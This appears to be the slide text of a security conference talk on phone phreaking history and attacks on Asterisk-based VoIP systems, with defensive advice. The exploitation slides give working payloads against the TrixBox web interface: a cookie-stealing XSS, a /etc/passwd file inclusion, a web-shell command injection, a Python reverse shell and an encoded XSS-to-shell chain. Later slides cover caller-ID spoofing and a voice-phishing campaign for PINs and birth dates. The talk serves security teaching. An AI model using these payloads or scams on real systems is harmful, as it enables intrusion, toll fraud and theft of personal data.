“Sorry, Wrong Number”

Mysteries of the Phone System Past and Present

Patrick McNeil
@unregistered436

Owen
@LinuxBlog
First, A Brief Word From Our Lawyer

Views and opinions are those of Patrick & Owen and do not represent past, present, or future employers.

All Service Marks, Trademarks, and Copyrights belong to their respective owners.
"Get this and get it straight... Crime is a sucker’s road, and those who travel it wind up in the gutter, the prison, or the grave."

-Opening of the Philip Marlowe radio show
Why are we doing this?

- Phreaks as the original electronics "hackers"
- It’s a way of thinking...
- VoIP wasn’t designed for security
- Mysteries of the past can help you understand the present - let us be your guide…
What we’ll cover

History
Info Leakage
Exploitation
Fraud & Abuse
PoC Tool Demo
Other

Which may include famous movie stars and propaganda
OPERATOR! OPERATOR!
User Dialing

- Strowger switch - alternating current pulses & mechanical cylinder switch per digit
- First user dialing enabled - exchange name converted to number to dial in small area
Carrier Growth Drives Innovation

● Burgeoning operator workforce growth
● Panel & Crossbar “common control” built number in sender then processed
● The 4A crossbar and card control

POP QUIZ!

● Q: SF and MF - what tone critical? XXXX Hz?
Q: What was the design flaw that revolutionized the industry?

It’s TRUE mom, the DEF CON Goons are SO dreamy!
The Future of VoIP?
THE NEW CAR OF THE FUTURE!
Introducing Asterisk!

Asterisk Created in 1999
- Now developed by Digium
- GPL
- Latest Stable: 13.0.0 (24 October 2014; 4 months ago)
- 11.13.1 (20 October 2014; 4 months ago)

Numerous Books published
- 2005 - Building Telephony Systems with Asterisk (PACKT)
- 2007 - Asterisk for dummies published
- 2007 - Asterisk Hacking published
- AsteriskBook (AsteriskDocs.org)

AMI

You can do some cool stuff with it.
Asterisk variants...

FreePBX
Asterisk@Home
TrixBox
PBX In a Flash
Elastix
AskoziaPBX
Asterisk for Raspberry Pi
(http://www.raspberry-asterisk.org/)
Attack vs Defense

Al Capone  J Edgar Hoover
Information Leakage

**What:** When a system that is designed to be used only by authorized parties reveals the usage, equipment, location, or entities using the system, etc. to an unauthorized party.
Rise of the Phreaks

Phreaks:
- Social engineered operators
- Phone techs
- In-band clicks & tones
- Open technical journals
- Exhaustive dialing of numbers
- Shared on looparounds & eventually conf calls
- Underground papers
The World Finds Out

- *Secrets of the Little Blue Box*, 1971 Esquire article introduced world to “Phreaking” - such as Joe Engressia, Mark Bernay, and John Draper
- Phun stuff like joke-lines were a ToS violation
- See “Exploding the Phone” by Phil Lapsley
Evolution of VoIP

- Common Channel Interoffice Signaling (CCIS)
- Personal computers came out, and if switches can use modems...
- IP enabled transport of ALL data, including voice
- Analog systems got IP cards
- All IP developed PBX, with separate gateways for analog connections, consumer MTAs with analog ports, etc.
- Virtualization made PBX accessible to all
Information Leakage

Now: Still just as easy! The curious can play in a VM at home or get inexpensive trunk services. Just like early phreakers - read, listen, enumerate!

- Port scanning
- SIP stack & OS fingerprinting
- Extension enumeration
INVITE sip:19195551223@defcon.org SIP/2.0
Via: SIP/2.0/UDP 10.1.3.3:5060;branch=z9hG4bKb27061747269636b
From: "JConnor" <sip:15554141337@10.1.3.3:5060>;tag=18de4db33f
To: "19195551223" <sip:19195551223@defcon.org>
Call-ID: 19424e0d9187654209ed34db33f
CSeq: 1 INVITE
Max-Forwards: 70
User-Agent: BigTelcoVendor/R16.4.1.1
Supported: 100rel,timer,replaces,join,histinfo
Allow: INVITE,CANCEL,BYE,ACK,NOTIFY,REFER,OPTIONS,INFO,PUBLISH
Contact: "JConnor" <sip:15554141337@10.1.3.3:5060;transport=udp>
Content-Type: application/sdp
Content-Length: 165
v=0
o=- 1 1 IN IP4 10.1.3.3
s=-
c=IN IP4 10.1.3.3
b=AS:64
t=0 0
m=audio 19001 RTP/AVP 0 127
a=rtpmap:0 PCMU/8000
a=rtpmap:127 telephone-event/8000
The Crypto That Time Forgot

REGISTER sip:192.168.1.123 SIP/2.0
Via: SIP/2.0/UDP 192.168.1.1:8166;branch=z9hG4bK-d8754z-0be76a4b680f6408-1---d8754z--;rport
Max-Forwards: 70
Contact: <sip:1000@192.168.1.1:8166;rinstance=c7c558226c47c266>
To: <sip:1000@192.168.1.123>
From: <sip:1000@192.168.1.123>;tag=309f3210
Call-ID: YWM4NWQxNThiNGEmJjyYmZmIwYyJiNTMxNTY1MjE
CSeq: 2 REGISTER
Expires: 3600
Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, NOTIFY, MESSAGE, SUBSCRIBE, INFO
User-Agent: X-Lite 4.7.1 74247-647f3e8e-W6.1
Authorization: Digest username="1000",realm="asterisk",nonce="35e47ee9",uri="sip:192.168.1.123",response="33ac377e4d50ad6026837ef37b2d33ce",algorithm=MD5
Content-Length: 0
Information Leakage

- Google searches, DNS queries, job boards, and calls that go to voicemail or auto-attendant may reveal the type of phone system.
- If Internet connected, a quick SIP OPTIONS or INVITE reveals key info. User-Agent, Server, X-headers, or other header presence (or lack of) tells me what you’re running.
- User or extension enumeration
- A quick vuln database scan tells me how to try to compromise your system.
SIP VoIP info gathering tips

- Port scans - specify TCP & UDP, along with a port range to detect Asterisk AMI (5038) - outside of nmap defaults
- Scan slow to avoid rate based filters (-T)
- Use more than one tool, & mod default values. Ex: If using SIPVicious change default User-Agent in svhelper.py
- Scan with another SIP method such as INVITE or CANCEL
- Metasploit SIP scanner randomizes identifying fields
- Not many VoIP scanner projects maintained, but Viproy and Bluebox-ng ARE
Asterisk User-Agents

- 15MM SIP entries in dataset
- 52,420 containing “Asterisk”
- 10,776 are just “Asterisk PBX” (top server UA in the list)
- 1,156 "Asterisk PBX 1.6.0.26-FONCORE-r78" - TrixBox!

As expected, LOTS of:
- Insecure phones & MTAs
- Old SMB systems from Cisco, Nortel, Avaya, etc.

Unexpected Finds:
- NORTEL-DMS100-SS7-ISUPbr (?!)
- 5,785 hits on “camera”, 5467 in CN
- Top user-agent - 3.6MM “FRITZ!OS” MTAs deployed in DE
- LOTS of Huawei in Iran

Special thanks to Daniel Abreu for help with ZMap data import to ElasticSearch w/Kibana
Information Leakage Defense

- Change the default SIP “User-Agent” string to fool attackers
  - In asterisk change `sip_general_additional.conf “useragent=”`
  - Or in FreePBX Web GUI > Settings > Asterisk SIP Settings > Go to “Other SIP settings” at bottom and enter “useragent” and “<value you want>”
- Block bad user agents & use rate limiting (See our Github)
- Add “alwaysauthreject=yes” to `sip_custom.conf & username <> extension`
- Implement fail2ban to block IPs that
  - Try to register to invalid extensions
  - Have a number of registration failures
  - Exceed a reasonable message rate
- Use a security appliance that will block SIP scans
Exploitation

ex·ploi·ta·tion

(ĕk′sploi-tā′shən)

n.

1. The act of employing to the greatest possible advantage
2. Utilization of another person or group for selfish purposes
Exploitation

The phreaks used the weaknesses in the phone network to their greatest advantage, and used them to enable further exploration.
Exploitation
Nowadays, used for...
Pretty much anything
TrixBox

Immensely popular Asterisk front end

SourceForge Stats:
5.0 Stars (35)
Last Update: 2013-06-18

Vulnerabilities

<table>
<thead>
<tr>
<th>Year</th>
<th>DoS</th>
<th>Code Execution</th>
<th>Overflow</th>
<th>Sql Injection</th>
<th>Bypass something</th>
<th>Gain Information</th>
<th>Gain Privileges</th>
<th># of exploits</th>
<th># of Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>2007</td>
<td>11</td>
<td>3</td>
<td>3</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>17</td>
</tr>
<tr>
<td>2008</td>
<td>8</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>15</td>
</tr>
<tr>
<td>2009</td>
<td>2</td>
<td>1</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td>1</td>
<td>1</td>
<td>3</td>
</tr>
<tr>
<td>2010</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
<tr>
<td>2011</td>
<td>1</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1</td>
<td>1</td>
<td>3</td>
</tr>
<tr>
<td>2012</td>
<td>4</td>
<td>2</td>
<td>2</td>
<td>1</td>
<td>1</td>
<td></td>
<td>1</td>
<td>1</td>
<td>6</td>
</tr>
<tr>
<td>2013</td>
<td>1</td>
<td>1</td>
<td>2</td>
<td>1</td>
<td></td>
<td></td>
<td>1</td>
<td>1</td>
<td>3</td>
</tr>
<tr>
<td>Total</td>
<td>28</td>
<td>7</td>
<td>9</td>
<td>1</td>
<td>1</td>
<td>4</td>
<td>1</td>
<td>1</td>
<td>46</td>
</tr>
</tbody>
</table>

http://www.cvedetails.com/vendor/6284/Asterisk.html - Memory Corruption, XSS, Directory Traversal, HTTP Response Splitting, CSRF and File Inclusion not included in chart
Exploitation Demo

Unauthenticated XSS

```
/user/help/html/index.php?id_nodo=%22 onmouseover%3dalert%28%27wow_1337\n%27%2bdocument.cookie%29%3d%22
```

Translation:

```
?id_nodo="onmouseover=alert('wow_1337\n'+document.cookie)="
```

Exploitation Demo

Local File Inclusion
/maint/modules/home/index.php?lang=../..../..../..../..../..../..../etc/passwd%00

Other interesting files to read (Other than your normal goto files)

Asterisk Configs (/etc/asterisk/)
users.conf
voicemail.conf
extensions.conf
Many More
Amp Portal Config
/etc/amportal.conf
Asterisk Logs
/var/log/asterisk

Authenticated Remote Code Execution

Goal: Upload Shell.php, Spawn Netcat Shell

/maint/modules/home/index.php?lang=1;echo "<?php system('$_GET['cmd']);?>">shell.php

/maint/modules/home/shell.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket.AF_INET,socket.SOCK_STREAM;s.connect(192.168.1.10,1234);os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call('%22/bin/bash,%22-i','%22');"
Remote Exec Shell Demo
LFI Remote Code Exec Demo


LFI & XSS By AttackTerrorist  -  SIP Message Injection By Snide.
Exploitation Demo

Putting it all Together.
From XSS (UNAUTH) -> RCE (AUTH)

Requires info gathering (maybe)
Possibly phishing, hidden frames.

Excuse Me Sir?

user/help/html/index.php?id_nodo=%22onmouseover%3dwindow.location.replace%28window.atob%28%27aHR0cDovLzE5Mi4xNjguMS41MC9tYWludC9tb2R1bGVzL2hvbWUvaW5kZXgucGhwP2xhbmc9TUY7ZWNobyAiPD9waHAgc3lzdGVtKFwkX0dFVFtcImNtZFwiXSk7Pz4iPnNoZWxsNi5waHA=%27%29%29;%22"

1) Load Page with iFrame src above
2) Use the XSS to trigger onmouseover (in frame) to load Base64 Encoded URL:
3) Hide Frame

LFI & XSS By AttackTerrorist
XSS Phish to Shell Demo
Exploitation Defense

Fix for XSS - help/html/index.php:44
$smarty->assign("id_nodo",$_GET['id_nodo']);
if (in_array($tbLang, array('home', 'meetme', 'etc'))) {
$smarty->assign("id_nodo",$_GET['id_nodo']); }

$tbLang = $_GET['lang'];
if (!in_array($tbLang, array('home', 'meetme', 'etc'))) {
$tbLang='english';
$languageFile = 'language/'.$tbLang.'.php';
if(file_exists($languageFile)){
include($languageFile); }

68: $tbLang = $_GET['lang'];
339: $phpOutput = shell_exec('php -q libs/status.php '.$tbLang);//exec('perl libs/status.pl');
if (!in_array($tbLang, array('english', 'french', 'etc'))) {
$tbLang='english';}
Exploitation Defense

Defending isn’t easy
1. Avoid all-in-one distributions
2. Update
3. Custom build
   • It’s not hard
   • Don’t build what you don’t need
4. Configure Properly
   • Turn off what isn’t used, needed or unknown
   • See #3
5. Firewall
6. Fail2ban
Fraud & Abuse

What:

- No intention to pay
- Causes loss or damage to others or enables criminal to make a profit
- Manipulation of the telecommunications network to make it do something unintended for fun :)

Fraud & Abuse

Q: Before Apple, what did electronic device made Steve Wozniak and Steve Jobs famous (or maybe notorious) in some circles?

Q: Who were some of the earliest and largest users of blue boxes besides phreaks?

Q: Besides blue boxes, name one other “box” type that was very popular. What did it do?

Q: What feat focused the FBI on apprehending John Draper aka Capt. Crunch?
Fraud & Abuse

- Making money - IRSF, traffic pumping schemes enabled by cracked PBX
  - Call generation or forwarding, voicemail dialout, routing changes, etc. to make calls to high-cost destinations
- Caller ID spoofing (“backspoofing”)
- Telephony Denial of Service - scripted calls to tie up someone’s phone for extortion, protest, or prank
- Vishing – Voice phishing, phone schemes, sometimes robo-dialed
Fraud & Abuse Demo

Faked caller number. CNAM lookup or “dip” by receiver’s telco displays name registered to that number - aka “backspoofing”

- Prank Calls
- Social Engineering
- Bypass some voicemail pins
- SWATting
Asterisk CallerID Setting

On outbound route in extensions.conf …

`exten => _1NXXNXXXXXX,n,Set(CALLERID(num)=17045551212)`

In the “.call” files used for automation just set...

`CallerID: <17045551212>`
Hey, Look who’s calling me!
Phreakme

“We were just acquired. For security reasons, please enter your voicemail pin for a message from the CEO.”

“A new tech support fast track phone number verification system is being rolled out. You must be enrolled for faster help desk service. Please enter your date of birth, in month, day and four digit year for verification.”
Phreakme Demo
Phreakme IVR

- Configure Phreakme calling number & SIP trunk (in asterisk & PHP)
- Set up a phishing recording - create the pretext
- Create a target list - the phone numbers
- Do a dry-run of the recording
- Run the campaign
Phreakme - Why do I care?

- If I get your VM password - depending on system permissions
  - Forward calls to high cost destinations
  - Make new calls
  - Broadcast internal messages
  - Listen to VM (corp espionage?)

- DOB, SSN or other numeric info for password reset?
- Credit card into?
Fraud & Abuse Defense

- Credential cracking protections
- Block international destinations that are in NANP besides just 011
- Disable call forwarding, and only allow it selectively
- Do not allow voicemail and conf bridge dialout and voicemail auto-dialback
- See what protections your provider has - bill limits, per-minute limits, destinations, etc.
Fraud & Abuse Defense

- Set pins on LD trunks
- TLS & SRTP - At least make it harder. Cert mgt is hard, but even one org cert on a client helps. Use GOOD algorithms, and stay patched.
- Look for security or fraud mgt systems that learn traffic baselines and watch for changes in rate, ratio, frequency, and/or direction of calls
https://github.com/phreakme/DC23
BACKUP
Current Foreign NPAs (for U.S.)

<table>
<thead>
<tr>
<th>Country Code</th>
<th>Country Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>264</td>
<td>ANGUILLA</td>
</tr>
<tr>
<td>268</td>
<td>ANTIGUA/BARBUDA</td>
</tr>
<tr>
<td>242</td>
<td>BAHAMAS</td>
</tr>
<tr>
<td>246</td>
<td>BARBADOS</td>
</tr>
<tr>
<td>441</td>
<td>BERMUDA</td>
</tr>
<tr>
<td>284</td>
<td>BRITISH VIRGIN ISLANDS</td>
</tr>
<tr>
<td>345</td>
<td>CAYMAN ISLANDS</td>
</tr>
<tr>
<td>767</td>
<td>DOMINICA</td>
</tr>
<tr>
<td>809</td>
<td>DOMINICAN REPUBLIC</td>
</tr>
<tr>
<td>829</td>
<td>DOMINICAN REPUBLIC</td>
</tr>
<tr>
<td>849</td>
<td>DOMINICAN REPUBLIC</td>
</tr>
<tr>
<td>473</td>
<td>GRENADA</td>
</tr>
<tr>
<td>658</td>
<td>JAMAICA</td>
</tr>
<tr>
<td>876</td>
<td>JAMAICA</td>
</tr>
<tr>
<td>664</td>
<td>MONTSERRAT</td>
</tr>
<tr>
<td>721</td>
<td>SINT MAARTEN</td>
</tr>
<tr>
<td>869</td>
<td>ST. KITTS AND NEVIS</td>
</tr>
<tr>
<td>758</td>
<td>ST. LUCIA</td>
</tr>
<tr>
<td>784</td>
<td>ST. VINCENT &amp; GRENADINES</td>
</tr>
<tr>
<td>868</td>
<td>TRINIDAD AND TOBAGO</td>
</tr>
<tr>
<td>649</td>
<td>TURKS &amp; CAICOS ISLANDS</td>
</tr>
</tbody>
</table>

[http://www.nanpa.com/reports/area_code_relief_planning.html](http://www.nanpa.com/reports/area_code_relief_planning.html)